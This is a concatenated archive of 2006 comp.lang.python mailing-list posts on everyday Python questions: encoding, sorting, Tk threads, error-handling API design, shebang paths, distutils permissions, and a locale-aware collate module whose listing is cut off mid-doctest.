	<4523f44d$0$4528$e4fe514c@news.xs4all.nl>
Message-ID: <EfUUg.90$iP5.69@newsfe07.lga>

> Please consider adding some elements to the document itself that
describe the desired output format,

Well, that's what the encoding field in the xml line was supposed to do. 
Not a bad idea though, except it changes the file format, and I would really 
rather not do that.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From fredrik at pythonware.com  Fri Oct 27 06:01:48 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 27 Oct 2006 12:01:48 +0200
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu><7x4ptsi544.fsf@ruckus.brouhaha.com><1161803802.110116.127470@m7g2000cwm.googlegroups.com><7xvem8gq22.fsf@ruckus.brouhaha.com><1161804934.010376.151330@f16g2000cwb.googlegroups.com><453FD3AF.4040800@v.loewis.de><1161812827.596356.316450@f16g2000cwb.googlegroups.com><donn-4380C3.15593125102006@gnus01.u.washington.edu><1161860305.348329.283780@m73g2000cwd.googlegroups.com><mailman.1264.1161861732.11739.python-list@python.org><donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
Message-ID: <ehslec$rq8$1@sea.gmane.org>

Antoon Pardon wrote:

> The latter will treat None and False the same as [], () and {},
> which in most of my code is not what I want.

since you never publish any code, what you do in your code is not very
interesting to anyone.

</F> 





From johnzenger at gmail.com  Sun Oct 22 18:15:44 2006
From: johnzenger at gmail.com (johnzenger at gmail.com)
Date: 22 Oct 2006 15:15:44 -0700
Subject: Python and CMS
In-Reply-To: <mailman.933.1161518325.11739.python-list@python.org>
References: <mailman.933.1161518325.11739.python-list@python.org>
Message-ID: <1161555344.110047.321460@m73g2000cwd.googlegroups.com>

For a free out of the box solution, look at MoinMoin.  It is wiki
software, but nothing stops you from turning off user signups, locking
down the whole site, and just using it as a CMS.  It's very easy to set
up, can run as a CGI, and requires no database backend.

Echo wrote:
> I am going to start working on a church website. And since I like
> python, I decided to use WSGI. However, I later found out about all
> the different CMS's in php. So I wondered if there where any in
> python.
>
> Sadly, I only found Plone, skeletonz, and PyLucid (If there is any
> more, please let me know). Of those three, only PyLucid supports WSGI
> and it didn't look very nice to me.
> Both Plone and skeletonz looked very nice. However, they can't be
> hosted on a regular web host(at least to my knowledge) since they run
> as the web server themselves. So hosting would cost more, at least 2-3
> times more from what I've seen.
>
> So I'm thinking of making a python CMS based on WSGI. I'm now trying
> to figure out a few things like the best way to store the content and
> how to manage/use plugins. For storing the content, the only ways I
> know of are as files or in a database. But I'm not sure what would be
> better. And as for how to do plugings, I plan on looking at Plone and
> skeletonz.
>
> As for working with WSGI, I have found
> Colubrid(http://wsgiarea.pocoo.org/colubrid/) and
> Paste(http://pythonpaste.org/). I was wondering if anyone knew of any
> other libraries that make working with WSGI easier. Also, I wondering
> if anyone would like to share their experiences of working with those.
>
>
> ps. I know that this is a big and complicated project. But no matter
> how far I get, it will be fun because its Python:)
>
> --
> "Now that I am a Christian I do not have moods in which the whole
> thing looks very improbable: but when I was an atheist I had moods in
> which Christianity looked terribly probable."
>   -C. S. Lewis
> 
> -Echo



From bjobrien62 at gmail.com  Tue Oct 17 12:22:45 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 17 Oct 2006 09:22:45 -0700
Subject: making a valid file name...
Message-ID: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>

Hi I'm writing a python script that creates directories from user
input.
Sometimes the user inputs characters that aren't valid characters for a
file or directory name.
Here are the characters that I consider to be valid characters...

valid =
':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '

if I have a string called fname I want to go through each character in
the filename and if it is not a valid character, then I want to replace
it with a space.

This is what I have:

def fixfilename(fname):
	valid =
':.\,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
	for i in range(len(fname)):
		if valid.find(fname[i]) < 0:
			fname[i] = ' '
       return fname

Anyone think of a simpler solution?



From hanumizzle at gmail.com  Sun Oct  8 00:53:24 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Sun, 8 Oct 2006 00:53:24 -0400
Subject: Is there an alternative to os.walk?
In-Reply-To: <55ugi298haq1e7084nussjlkujq8rlf3dd@4ax.com>
References: <1159983032.359224.83280@i3g2000cwc.googlegroups.com>
	<1159988816.166699.307450@k70g2000cwa.googlegroups.com>
	<1160242450.515582.304510@i42g2000cwa.googlegroups.com>
	<55ugi298haq1e7084nussjlkujq8rlf3dd@4ax.com>
Message-ID: <463ff4860610072153j2612361ci41c5e70a8e5e6204@mail.gmail.com>

On 10/8/06, Tim Roberts <timr at probo.com> wrote:

> Umm, may I point out that you don't NEED the "os.path.exists" call, because
> you are already being HANDED a list of all the filenames in that directory?
> You could "dirtest" with this much faster routinee:
>
> def dirtest(a_dir,filenames):
>     for f in ['a','b','c']:
>         if not f in filenames:
>             return 0
>     return 1

Or False / True for sufficiently new versions of Python. :)

-- Theerasak


From paolopantaleo at gmail.com  Mon Oct  2 08:42:15 2006
From: paolopantaleo at gmail.com (Paolo Pantaleo)
Date: Mon, 2 Oct 2006 14:42:15 +0200
Subject: VIdeo Converence Software: Tk and thread synchronization
Message-ID: <83e8215e0610020542i53e3bd9btdae5649c35eed642@mail.gmail.com>

Hi,

I am going on writing my video conference software. I wrote the video
grab, code/decode, and netwoark (multicast) transport.

I have one thread doing this:

[thread 1]
while True:
  for some times:
    my_socket.recv() #blocking here
    store data
  compute image #here we have a complete new image to display

Now, I was thinking to display the image in a  Tk window. But I think
i will need a separate thread to run the mainloop() [thread 2], right?
 How can I signale to the Tk thread that a new image is ready to be
shown? I was thinkin on using an event generated for the first
(network) thread. But I don't know how to do it exactly. Any
suggestion, please?

What if I access to Tk object form thread 1, is Tk thread safe?

Thnx
PAolo

-- 
if you have a minute to spend please visit my photogrphy site:
http://mypic.co.nr


From fredrik at pythonware.com  Sun Oct  8 09:38:01 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 08 Oct 2006 15:38:01 +0200
Subject: Bizzare lst length problem
In-Reply-To: <1160313974.040577.125970@e3g2000cwe.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>	<mailman.53.1160306404.11739.python-list@python.org>	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>	<1160312065.656400.275770@k70g2000cwa.googlegroups.com>	<1160313168.683964.242350@c28g2000cwb.googlegroups.com>	<mailman.55.1160313631.11739.python-list@python.org>	<1160313804.076356.278210@c28g2000cwb.googlegroups.com>
	<1160313974.040577.125970@e3g2000cwe.googlegroups.com>
Message-ID: <egauvp$2up$1@sea.gmane.org>

Ben wrote:

> Ah - I found out why I had cast it to a string. I had not, at that
> point, worked out ho to pass the list by value rather than reference,
> and so was casting to a string as a stopgap measure that I then forgot
> about. Now the problem is fixed after this group told me how to pass a
> list by value (by slicing the entire list)

if you write code that needs to treat a list as a distinct mutable 
value, make sure *your* code makes a copy.  relying on the caller to 
remember to do that in all cases is way too error prone.

in other words, instead of doing

    def function(seq):
        # modify the sequence

    ...

    # must pass in a copy, or things will break in mysterious ways
    function(list(mylist))

do

    def function(seq):
        seq = list(seq) # make a distinct copy
        # modify the sequence

    ...

    function(seq)

</F>



From noway at sorry.com  Sat Oct  7 20:15:08 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Sun, 08 Oct 2006 00:15:08 GMT
Subject: New-style classes slower than old-style classes? (Was: n-body problem
	at shootout.alioth.debian.org)
References: <eg6bku$59b$1@online.de>
	<61JVg.138429$_J1.903927@twister2.libero.it>
	<eg90ip$uds$1@online.de>
Message-ID: <gqXVg.139277$_J1.908863@twister2.libero.it>

Peter Maas wrote:

>> Did you try using an old-style class instead of a new-style class?
>
> The original program has an old style class, changing it to a new
> style class increases run time by 25% (version is 2.4.3 btw).

Ah yes. Years ago when I first saw this test it was still using new-style
classes.

Anyway, this is a bug on its own I believe. I don't think new-style classes are
meant to be 25% slower than old-style classes. Can any guru clarify this?
-- 
Giovanni Bajo




From bearophileHUGS at lycos.com  Wed Oct 25 15:52:56 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 25 Oct 2006 12:52:56 -0700
Subject: Any way of adding methods/accessors to built-in classes?
In-Reply-To: <mailman.1199.1161805387.11739.python-list@python.org>
References: <mailman.1199.1161805387.11739.python-list@python.org>
Message-ID: <1161805976.550980.35930@i42g2000cwa.googlegroups.com>

Kenneth McDonald:
> not being able to do things like '[1,2,3]'.length
> drives me a little nuts.

This is interesting, why?
(In a computer language too much purity is often bad. And isn't
[1,2,3].len better?)

I think you can't add methods to Python builtin classes, I think you
can do it with Ruby.

Bye,
bearophile



From pavlovevidence at gmail.com  Mon Oct  2 13:30:44 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 2 Oct 2006 10:30:44 -0700
Subject: Pythonic API design: detailed errors when you usually don't care
References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com>
Message-ID: <1159810243.698639.247970@b28g2000cwb.googlegroups.com>

Simon  Willison wrote:
> I have an API design question. I'm writing a function that can either
> succeed or fail. Most of the time the code calling the function won't
> care about the reason for the failure, but very occasionally it will.
>
> I can see a number of ways of doing this, but none of them feel
> aesthetically pleasing:
[snip]

Whether it's aesthetically pleasing or not, raising an exception is the
way to do it.

You seem to care about your users.  Keep this in mind: if your function
returns an error code, then it puts an burden on users to A. always
check for errors, and B. always check for errors right at the point
where the function is called.

Python has exceptions so that programmers can write code without
checking for an error in every other line like they would have to in C.
 With exceptions, users are free to not bother checking for errors, if
program termination is acceptable, or to handle the exception somewhere
else.  Please don't circumvent this on the misguided pretense of
"helping" the user.

If you really think most users would prefer to check the return value
for an error, then I'd recommend two versions of the function: the
regular, Pythonic version that raises exceptions, and the convenience
version that swallows the exception and returns a code.  (Compare a[1]
vs. a.get(1).)


> This is nice and simple but suffers from cognitive dissonance in that
> the function returns True (or an object evaluating to True) for
> failure.

BTW, this is true in a lot of places.  Back in the days of DOS, zero
meant success, non-zero was an error code.  Zero also signals success
for process exit codes on Unix.  Also on Unix, negative values are
often considered errors, non-negative success.  The idea that error ==
0 is not self-evident, and often not true.

If it helps, consider using string error codes, or defining some
constants to check against ("if error == NO_ERROR").


Carl Banks



From joakim.hove at gmail.com  Sat Oct  7 16:29:19 2006
From: joakim.hove at gmail.com (joakim.hove at gmail.com)
Date: 7 Oct 2006 13:29:19 -0700
Subject: Encoding and norwegian (non ASCII) characters.
Message-ID: <1160252959.777111.100090@h48g2000cwc.googlegroups.com>

Hello,

I am having great problems writing norwegian characters ??? to file
from a python application. My (simplified) scenario is as follows:

1. I have a web form where the user can enter his name.

2. I use the cgi module module to get to the input from the user:
    ....
    name = form["name"].value

3. The name is stored in a file

    fileH = open(namefile , "a")
    fileH.write("name:%s \n" % name)
    fileH.close()

Now, this works very well indeed as long the users have 'ascii' names,
however when someone enters a name with one of the norwegian characters
??? - it breaks at the write() statement.

   UnicodeDecodeError: 'ascii' codec can't decode byte 0x8f in position
....

Now - I understand that the ascii codec can't be used to decode the
particular characters, however my attempts of specifying an alternative
encoding have all failed.

I have tried variants along the line:

   fileH = codecs.open(namefile , "a" , "latin-1") / fileH =
open(namefile , "a")
   fileH.write(name)   /    fileH.write(name.encode("latin-1"))

It seems *whatever* I do the Python interpreter fails to see my pledge
for an alternative encoding, and fails with the dreaded
UnicodeDecodeError.

Any tips on this would be *highly* appreciated.


Joakim



From bernhard.heinzel at gmail.com  Tue Oct  3 01:07:26 2006
From: bernhard.heinzel at gmail.com (bernhard.heinzel at gmail.com)
Date: 2 Oct 2006 22:07:26 -0700
Subject: CGI -> mod_python
Message-ID: <1159852046.487836.266980@m7g2000cwm.googlegroups.com>

Hi,

it is a kind of nooby question. Is there a way to transfer a CGI python
script to mod_python without rewriting the code?

Thanks.
Bernhard



From bjobrien62 at gmail.com  Mon Oct 16 14:13:08 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 16 Oct 2006 11:13:08 -0700
Subject: Need a strange sort method...
Message-ID: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>

I have a list and I need to do a custom sort on it...

for example:
a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order

def cmp(i,j):  #to be defined in this thread.

a.sort(cmp)

print a
[1,4,7,10,  2,5,8, 3,6,9]

So withouth making this into an IQ test.
Its more like
1 4 7 10
2 5 8
3 6 9

Read that top to bottom from column 1 to column 4.
When you get to the bottom of a column move to the next column.
Get it?



From hanumizzle at gmail.com  Tue Oct 10 22:09:44 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 22:09:44 -0400
Subject: OT: Sarcasm and irony
In-Reply-To: <egh474$482$1@news.albasani.net>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net>
	<87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<egh474$482$1@news.albasani.net>
Message-ID: <463ff4860610101909r73c9700fi6ce70749208c2352@mail.gmail.com>

On 10/10/06, Georg Brandl <g.brandl-nospam at gmx.net> wrote:

> Let me tell you: There are times when I'm really glad that as a German, I'm
> not supposed to possess any sense of humour at all.

hehe. That's so not true.

--
"Know thyself? If I knew my self, I would run." -- Goethe


From nick at craig-wood.com  Wed Oct  4 06:30:04 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Wed, 04 Oct 2006 05:30:04 -0500
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<slrnei6qtc.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <slrnei70cd.96l.nick@irishsea.home.craig-wood.com>

Antoon Pardon <apardon at forel.vub.ac.be> wrote:
>  One possible way to do what I think you want is to code as follows:
> 
>  class Default (object):
>    pass

I'd have written

Default = object()

>  def f(var=Default):
>    if var is Default:
>      var = 1
>    return var * 2
> 

But yes, defining a sentinel like this is a good idea.

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From deets at nospam.web.de  Tue Oct 10 08:57:40 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 10 Oct 2006 14:57:40 +0200
Subject: Dive Into Java?
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de>
	<4ovcbvFgc2nlU1@individual.net>
Message-ID: <4p1jm5Fgpgl7U1@uni-berlin.de>

>> For example: the overloading of assignment operators, casting
>> operators, copy constructors and the like that, and the fact that
>> one of them is possibly chosen in absence of the other.
> 
> Isn't the overloading concept an effect of type strength? In Java,
> you'd have to overload them too. Or am I missing something?


Yes. You can for example create a constructor for object Foo, which then is
implicitly chosen when assigning an int to a variable of that kind. So it
acts as a casting operator. I call that wicked, and subtle.

class Foo {
  int _arg;
public:
  Foo(int arg) {
    _arg = arg;
  }
};

int main() {
  Foo f = 10;
}

  
>> The subtle differences between pointers and references.
> 
> That's an issue, though you don't have to use them both. Kind
> of "historically grown".

Who cares for the reason - it is there, isn't it? You are the one claiming
that a new language should get rid of old concepts, btw. Where is your
money, and where your mouth?
  
>> Missing definition of static initializer order, at least for some
>> binary formats.
> 
> Didn't come across this one though.

I did when doing embedded programming. bites you, especially in such an
environment.

> Example:
> 
> int spam = 5;
> 
> but
> 
> String eggs = new String();
> 
> The latter seems totally unnecessary to me, as well as being too
> verbose -- why couldn't they go the simple way as in Python and
> just state
> 
> String eggs;

The unfortunate separation between primitive (read: numbers) and complex
types (everything else) is a stupid idea, I agree. However, that is
remedied with 1.5, and beyond the odd corner case in a very well matter
(see below.)

> That's a wrong decision, IMHO. A new and practical language (what
> Java wanted to be) shouldn't provide 3/4-compatible syntax, but be
> clear, concise and customizable, and shouldn't say "That's bad, you
> mustn't do that."

That is a matter of taste - but in the same way, we could argue about C++
and C, can't we? And it "just" took the very basic things - building
blocks, control flow and classes.
 
>> You are confusing things here. That you can't implement your own
>> string derived class has to do with java.lang.String being final -
>> something I grief about, too.
> 
> That's not exactly my point. What if I just wanted to build my own
> interface compatible class ... impossible.

I don't understand that.

> For a start, it just doesn't look pretty ...
> 
> String ham;
> 
> ham = "1" + "2";
> 
> ... is translated to ...
> 
> ham = new StringBuffer().append("1").append("2").toString()


So what? Since when is compiler optimization a bad thing? What do you think
happens all the time when mixing types in C++? And I know of some very
elaborated schemes called "common base class idiom" for e.g. template-based
vector classes to introduce allocation optimization to arithmetic
expressions in C++.

The code _generated_ by the java compiler, and the C++ compiler, is not the
issue here. If you as a programmer can write "a" + "b", its fine. Which is
a thing to reach in C++, a bazillion of string-classes have been
written....


and in C++, you can do:

char *a = "1";
char *b = "2";
char *c = a + b;

But with a totally different, unexpected outcome.. I know where *I* start
laughing here.

> Another funny thing are those awkward wrapper classes, but that's
> been "patched" in an awkward way with 1.5 IIRC.

The way is not awkward, it is called auto-boxing/unboxing and works very
well. The odd corner case being e.g.

Boolean b = null;
if(b) { // NPE here
}

 
And this is more than matched by the subtle differences between

Foo a;
Foo &a;
Foo *a;

Diez


From lemontree75 at gmail.com  Sat Oct 21 11:38:48 2006
From: lemontree75 at gmail.com (Lemon Tree)
Date: 21 Oct 2006 08:38:48 -0700
Subject: iniziare a programmare
In-Reply-To: <1hnke8e.ycmk4hbecvwN%riko@despammed.com>
References: <1161106121.260333.271580@m7g2000cwm.googlegroups.com>
	<1hnddwf.odylkk14ndrlsN%riko@despammed.com>
	<1161358366.496604.247770@b28g2000cwb.googlegroups.com>
	<1hnipew.1rnh52e1rk6pwoN%riko@despammed.com>
	<1161359952.145595.270820@m7g2000cwm.googlegroups.com>
	<1hnist4.res269wrqdztN%riko@despammed.com>
	<1161366833.784104.263660@h48g2000cwc.googlegroups.com>
	<1hnixkl.1pr40sj4nj77aN%riko@despammed.com>
	<1161425512.397947.218230@f16g2000cwb.googlegroups.com>
	<1hnk8ai.gch445smxm2zN%riko@despammed.com>
	<1161436269.116037.287000@m73g2000cwd.googlegroups.com>
	<1hnke8e.ycmk4hbecvwN%riko@despammed.com>
Message-ID: <1161445127.948353.182600@k70g2000cwa.googlegroups.com>


Enrico 'Mc Osten' Franchi ha scritto:

> Lemon Tree <lemontree75 at gmail.com> wrote:
>
> > Non per programmini stupidi.
> > E poi magari ti manca proprio il test che va a coprire una certa parte
> > che, guarda caso...
>
> Allora c'? un problema di sviluppo. I test si scrivono *sempre* e
> comunque. In Python quanto in Java.
>
Allora :)
Tralasciamo tutto il discorso sull'ingegneria del software, test etc.
che io condivido in pieno...
Il mio problema era semplicemente didattico e di ricerca
dell'informazione.

Ho applicato un approccio empirico per vedere cosa riuscivo a tirare
fuori da python.
Premessa: non sono un newbie sulla programmazione perche' so
programmare in Java, C, C++ e conosco bene i concetti su cui questi
linguaggi poggiano. Premessa 2: Mai visto python in vita mia.

Ora do una scorsa alle funzioni dei vari moduli e scopro *a caso* e per
prima questa funzione os.open che mi fa aprire il file (tralasciamo che
non e' il modo piu' conveniente, etc. etc. Fa quello che voglio fare e
mi sta bene per ora)

La documentazione dice:

os.open = open(...)
    open(filename, flag [, mode=0777]) -> fd
    Open a file (for low level IO).

Scrivo un programma semplicissimo:

fd = os.open("pippo")
os.close(fd)

Lo lancio e... BOOM. Eccezione. Pippo non esiste.

Chiaramente so per esperienza che esiste un meccanismo che consente di
controllare eventuali errori.
Peccato che ne esistono piu' di uno. Ad esempio, un modo potrebbe
essere anche quello di ritornare un fd nullo o negativo. Questo nella
documentazione non e' scritto.

Inoltre l'eccezione che viene sollevata neanche lei e' scritta nella
documentazione di os.open

Quindi a questo punto mi ritrovo con una funzione os.open che so per
esperienza che puo' fallire ma
1) Non so che tipo di meccanismo usa per comunicare il fallimento
2) Dopo averla testata so che genera un'eccezione. Ma questo non basta
perche' ne potrebbe generare piu' di una, magari per diversi tipi di
errori. E questo non lo posso neanche comprendere con i test (anche se
trovo che sarebbe assurdo fare test per scoprire di cosa puo' fallire
una funzione! Dovrebbe essere esplicito)

Quindi alla domanda: cosa scrivo nelle clausole except del blocco in
cui si trova os.open?
Non so dare risposta guardando alla documentazione di os.open.
E questo, IMHO, e` deleterio.

> Ma i manuali sono li per tenere su i tavolini o cosa?
> Sul Nutshell per esempio ci sono tutte le eccezioni standard, la loro
> gerarchia e quello che fanno.
 >
> Lista di eccezioni standard:
> <http://docs.python.org/lib/module-exceptions.html>
>
Questa e` una lista della gerarchia delle eccezioni.
Nulla dice di *quali funzioni* generano *quali eccezioni*
Ci faccio ben poco se voglio rispondere ripondere alla domanda: "Quali
eccezioni cono sollevate dal metodo M"? Qualsiasi sia M.

> Mi sembra che ti stai attancando ad un dettaglio abbastanza
> trascurabile. In primo luogo come sai dove andare a cercare le funzioni,
> ti ho insegnato dove andare a cercare le eccezioni (ma lo avresti potuto
> avere da solo).
>
Quello che hai segnalato non serve per rispondere alle domande che mi
sono posto.

> Poi chiaro che a sboccio pi? informazione ? meglio di meno informazione.
> A meno che non ci siano altri motivi che non mi vengono in mente.
>
Guarda io sono abituato ad i javadoc dove per ogni metodo c'e`

Descrizione dei parametri
Descrizione dei valori di ritorno
Descrizione delle eccezioni eventualmente generate.

Questo da un'informazione completa. Infatti se avessi trovato la
documentazione di os.open scritta in questo modo, lo avrei wrappato
subito con un try except OSError.

> Comunque faccio un follow-up su iclp. ? un ambiente molto amichevole che
> ti consiglio di sottoscrivere. Inoltre ? il posto giusto per molte delle
> domande che quando qualcuno inizia generalmente fa.
> 
Eccomi qui :)

Ciao



From veracon at gmail.com  Sat Oct 14 11:54:00 2006
From: veracon at gmail.com (veracon)
Date: 14 Oct 2006 08:54:00 -0700
Subject: Making a shorter shebang
In-Reply-To: <1160840595.827897.150260@f16g2000cwb.googlegroups.com>
References: <1160840251.769368.327090@m7g2000cwm.googlegroups.com>
	<1160840595.827897.150260@f16g2000cwb.googlegroups.com>
Message-ID: <1160841240.145863.58940@m7g2000cwm.googlegroups.com>

Thanks a lot!

Jerry wrote:
> /usr/bin/env just searches your PATH variable to find it, but it does
> so in order.  So, if you want it to find your python instead of a
> system provided one, just alter your PATH variable and put
> /home/my_username/python2.5 in front of everything else.
>
> example in .profile:
>
> PATH=/home/<username>/python2.5:$PATH
> export PATH
>
> --
> Jerry
>
> On Oct 14, 10:37 am, "veracon" <vera... at gmail.com> wrote:
> > Long story short, in order to use Python 2.5, I've compiled it in my
> > own account on my hosting. It works fantastic as
> > /home/my_username/python2.5, but the shebang is a bit long. Is there a
> > way to shorten it (environment variables?) or, even better, make
> > /usr/bin/env python point to it?
> > 
> > Thanks in advance!



From Matthew.Warren at Digica.com  Thu Oct  5 07:42:07 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Thu, 5 Oct 2006 12:42:07 +0100
Subject: Why do this?
In-Reply-To: <eg2pjt$rhm$1@news1.carnet.hr>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE593@UKEX01.Digica.local>

 > Duncan Booth wrote:
> 
> > print "There are"+number+"ways to skin a"+furryanimal
> > 
> > or at least something equivalent to it. If I try to make 
> the same mistake 
> > with a format string it jumps out to me as wrong:
> > 
> > "There are%sways to skin a%s" % (number, furryanimal)
> 
> Related to this, formatting with sequences is also much more readable 
> when there are complex interpunction and quoting characters present, 
> like this:
> 
> print "'"+var1+"','"+var2'"+","+var3
> 
> the above is much more readable as
> 
> print "'%s', '%s', %s" % (var1, var2, var3)

Hmm, with my hastily written contrived example, I had forgotten about
sequences like that.

Oddly, in the case above I prefer reading the bottom example,

And shouldn't that top one be

print "'"+var1+"','"+var2+"',"+var3

;)

So to conclude, in future I will read it, and see how readable it is
before I decide. But now at least I do see a reason not to
pathalogically avoid such string formatting :)

Matt.


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From esj at harvee.org  Mon Oct  9 17:42:59 2006
From: esj at harvee.org (Eric S. Johansson)
Date: Mon, 09 Oct 2006 17:42:59 -0400
Subject: distutils:permissions problems
Message-ID: <egefpm$q2$1@sea.gmane.org>

I'm developing Python code on multiple VM Ware guest OS running ubuntu. 
  I need to share common file space so that each of these guest 
instances will have complete access to the to all of the files.

The problem is that, because of a quirk (or misfeature) of VM Ware 
shared filesystem, all of the directories and files are owned by root 
with a 700 permissions.  When I run setup.py install, they are installed 
as root with 700 permissions.  How can I alter the behavior of distutils 
so that my modules could be installed with a more useful user and 
permissions?


many thanks

---eric



From rrr at ronadam.com  Mon Oct 23 08:35:30 2006
From: rrr at ronadam.com (Ron Adam)
Date: Mon, 23 Oct 2006 07:35:30 -0500
Subject: Collate Module
Message-ID: <PJ2%g.38173$rg1.23496@dukeread01>


I've made a few more changes to my little collate module.

There might be better ways to handle the options, or better choices for the 
options themselves.  I tried to keep it as general as possible.

I think it should work with Unicode now too.

Any suggestions in making it faster will be appreciated.

Any minor improvements to wording, spelling, etc.. are also welcome.


Many thanks for all the terrific feed back and suggestions!

Cheers,
    Ron


---start---

"""
     Collate.py - Sorts lists of strings in various ways depending
     options and locale.

     Class: Collate(option_string)

     Functions:
         collate(text, option_string)   ->  collate in place
         result = collated(text, option_string)  ->  get a collated copy

     To use collate with your user locale you need to call setlocale()
     before collating:

         locale.setlocale(locale.LC_ALL, '')

     This will set several global variables such as string
     constants, time and monitary formats, as well as numerical
     formatting to your user Locale.  Instead of '', you can also
     specify a specific locale.

     The setttings can be restored back to the default 'C' locale with
     the following:

         locale.setlocale(locale.LC_ALL, 'C')

     Example:
         locale.setlocale(locale.LC_ALL, '')
         tlist = [ 'Fruit', 'fruit-apple', 'fruit-bannana',
                    'nut-pecan', 'Nut' ]
         collate(tlist, 'caps_first hyphen_as_space')


     * For more examples see doctests in function test().

     Author: Ron Adam, ron at ronadam.com

"""
import re
import locale
import string
__version__ = '0.03 (pre-alpha) 10/23/2006'


class Collate(object):
     """ A general purpose collator class.

         Use: collate(text, option_string)
              result = collated(text, option_string)

             text = a list of strings
             opton_string = a string of space separated options.

         Collation can be modified with the following options:

             CAPS_FIRST          -> Aaa, aaa, Bbb, bbb
             LOWERCASE_FIRST     -> aaa, Aaa, bbb, Bbb
             HYPHEN_AS_SPACE     -> hyphens separate words
             PERIOD_AS_SPACE     -> Periods separate numerals
             NUMERICAL           -> Digit sequences as numerals
             IGNORE_COMMAS       -> Allows commas in numerals
             UNDERSCORE_AS_SPACE -> Underscore as white space
             IGNORE_LEADING_WS   -> Disregard leading white space

     """
     options = ( 'CAPS_FIRST', 'LOWERCASE_FIRST', 'NUMERICAL',
                 'HYPHEN_AS_SPACE', 'UNDERSCORE_AS_SPACE',
                 'IGNORE_LEADING_WS', 'IGNORE_COMMAS', 'PERIOD_AS_SPACE' )
     def __init__(self, flags=""):
         locale_conv = locale.localeconv()
         self.encoding = locale.getpreferredencoding()
         self.dpoint = locale_conv['decimal_point']
         self.thsep = locale_conv['thousands_sep']
         pattern = ''.join([r'([\d\\', self.dpoint, r']*|\D*)'])
         self.numrex = re.compile(pattern, re.LOCALE)
         if flags:
             flags = flags.upper().split()
             for value in flags:
                 if value not in self.options:
                     raise ValueError, 'Invalid option: %s' % value
             txtable = []
             if 'HYPHEN_AS_SPACE' in flags:
                 txtable.append(('-', ' '))
             if 'UNDERSCORE_AS_SPACE' in flags:
                 txtable.append(('_', ' '))
             if 'PERIOD_AS_SPACE' in flags:
                 txtable.append(('.', ' '))
             if 'IGNORE_COMMAS' in flags:
                 txtable.append((',', ''))
             self.txtable = txtable
             self.capsfirst = (
                     sorted(['A','a'], key=locale.strxfrm) == ['A', 'a']
                     )
         self.flags = flags

     def transform(self, s):
         """ Transform a string for collating.
         """
         if type(s) is unicode:
             s = s.encode(self.encoding, 'replace')
         if not self.flags:
             return locale.strxfrm(s)
         for a, b in self.txtable:
             s = s.replace(a, b)
         if 'IGNORE_LEADING_WS' in self.flags:
             s = s.lstrip()
         if 'CAPS_FIRST' in self.flags and not self.capsfirst:
             s = s.swapcase()
         if 'LOWERCASE_FIRST' in self.flags and self.capsfirst:
             s = s.swapcase()
         if 'NUMERICAL' in self.flags:
             slist = self.numrex.split(s)
             for i, x in enumerate(slist):
                 if x:     # slist may contain null strings
                     # inlined local.atof()
                     if self.thsep:
                         xx = x.replace(self.thsep, '')
                     if self.dpoint:
                         xx = xx.replace(self.dpoint, '.')
                     try:
                         slist[i] = float(xx)
                     except:
                         slist[i] = locale.strxfrm(x)
             return slist
         return locale.strxfrm(s)

     def __call__(self, a):
         """ This allows the Collate class to be used as a sort key.
             USE: list.sort(key=Collate(flags))
         """
         return self.transform(a)

def collate(slist, flags=[]):
     """ Collate list of strings in place.
     """
     slist.sort(key=Collate(flags).transform)

def collated(slist, flags=[]):
     """ Return a collated list of strings.
     """
     return sorted(slist, key=Collate(flags).transform)


def test():
     """
     DOC TESTS AND EXAMPLES:

     Initiat the current locale to the User locale settings.

         >>> locale.setlocale(locale.LC_ALL, '')
         'English_United States.1252'

     Sort (and sorted) normally order all words beginning with caps
     before all words beginning with lower case.

         >>> t = ['tuesday', 'Tuesday', 'Monday', 'monday']
         >>> sorted(t)     # regular sort
         ['Monday', 'Tuesday', 'monday', 'tuesday']

     Locale collation puts words beginning with caps after words
     beginning with lower case of the same letter.

         >>> collated(t)
